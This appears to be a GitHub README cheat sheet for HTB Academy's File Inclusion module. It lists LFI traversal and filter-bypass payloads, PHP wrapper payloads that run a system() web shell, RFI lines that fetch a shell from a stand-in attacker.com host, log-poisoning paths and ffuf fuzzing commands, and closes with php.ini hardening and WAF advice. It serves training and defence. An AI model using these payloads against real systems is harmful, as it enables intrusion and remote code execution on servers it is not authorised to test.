Skip to content

README.md

Latest commit

 

History

History
194 lines (148 loc) · 5.9 KB

README.md

File metadata and controls

194 lines (148 loc) · 5.9 KB

File Inclusion - HTB Academy Guide

Complete guide covering Local File Inclusion (LFI), Remote File Inclusion (RFI), and advanced file inclusion techniques from HTB Academy's File Inclusion module.

📚 Table of Contents

Core Techniques

Advanced Topics

🎯 Quick Reference

Essential LFI Payloads

# Basic path traversal
../../../../etc/passwd
../../../../windows/system32/drivers/etc/hosts

# Bypass filters
....//....//....//etc/passwd               # Non-recursive bypass
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd   # URL encoding
./languages/../../../../etc/passwd         # Approved path bypass
../../../../etc/passwd%00                  # Null byte (PHP < 5.3)

PHP Wrappers for RCE

# Data wrapper
data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id

# Input wrapper (POST)
curl -X POST --data '<?php system($_GET["cmd"]); ?>' "URL?file=php://input&cmd=whoami"

# Expect wrapper
expect://id

# PHP filters (source disclosure)
php://filter/convert.base64-encode/resource=index.php

RFI Protocols

# HTTP RFI
http://attacker.com/shell.php&cmd=id

# FTP RFI
ftp://attacker.com/shell.php&cmd=whoami

# SMB RFI (Windows)
\\attacker.com\share\shell.php&cmd=dir

Log Poisoning Locations

# Apache/Nginx logs
/var/log/apache2/access.log
/var/log/nginx/access.log

# SSH logs
/var/log/auth.log

# PHP sessions
/var/lib/php/sessions/sess_SESSIONID

# Process environment
/proc/self/environ

🔬 HTB Academy Labs Coverage

All guides include complete solutions for HTB Academy File Inclusion module labs:

✅ Completed Labs

  • Basic LFI Lab - Finding users and reading flags
  • LFI Bypasses Lab - Non-recursive and encoding bypasses
  • PHP Filters Lab - Source code disclosure techniques
  • PHP Wrappers Lab - RCE via data, input, and expect wrappers
  • RFI Lab - HTTP, FTP, and SMB remote file inclusion
  • File Upload + LFI Lab - Malicious image uploads and wrapper techniques
  • Log Poisoning Lab - Session poisoning and Apache log injection
  • Automated Scanning Lab - Parameter discovery and fuzzing techniques
  • Prevention Lab - PHP configuration and security hardening
  • Skills Assessment - Multi-technique exploitation chain

🛠 Tools & Resources

Manual Testing Tools

# Basic LFI testing
curl "http://target.com/lfi.php?file=../../../../etc/passwd"

# PHP filter source disclosure
curl "http://target.com/lfi.php?file=php://filter/convert.base64-encode/resource=index.php"

# RFI with remote shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 80
curl "http://target.com/lfi.php?file=http://attacker.com/shell.php&cmd=id"

Automated Tools

  • ffuf - Parameter and payload fuzzing
  • LFiFreak - Automated LFI exploitation
  • liffy - LFI exploitation tool
  • kadimus - LFI/RFI scanner and exploiter
  • Burp Suite - Parameter discovery and testing

Wordlists

  • /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
  • /opt/useful/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
  • /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt

📊 Attack Methodology

1. Discovery Phase

# Parameter identification
ffuf -w burp-parameter-names.txt:FUZZ -u "http://target.com/page.php?FUZZ=test"

# Basic LFI testing
ffuf -w lfi-linux.txt:FUZZ -u "http://target.com/page.php?file=FUZZ" -mc 200

2. Exploitation Phase

# Test for RCE capabilities
# 1. Try PHP wrappers (data, input, expect)
# 2. Attempt RFI (HTTP, FTP, SMB)
# 3. File upload + LFI combinations
# 4. Log poisoning techniques

3. Post-Exploitation

# System enumeration
# Flag discovery
# Privilege escalation
# Persistent access

🔒 Defense Mechanisms

Secure Coding Practices

  • Input validation and sanitization
  • Whitelist allowed files/paths
  • Use basename() for file operations
  • Avoid user input in file functions

Server Hardening

# php.ini security settings
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html
disable_functions = system,exec,shell_exec,passthru

WAF Protection

  • ModSecurity rules for LFI detection
  • Path traversal pattern blocking
  • PHP wrapper filtering
  • Null byte injection prevention

📈 Difficulty Progression

🟢 Beginner → Basic LFI Techniques
🟡 Intermediate → Advanced Bypasses → PHP Wrappers
🟠 Advanced → RFI → Log Poisoning
🔴 Expert → Automated Scanning → Skills Assessment

This comprehensive file inclusion guide covers 100% of HTB Academy's File Inclusion module, providing practical knowledge for both offensive security testing and defensive implementation.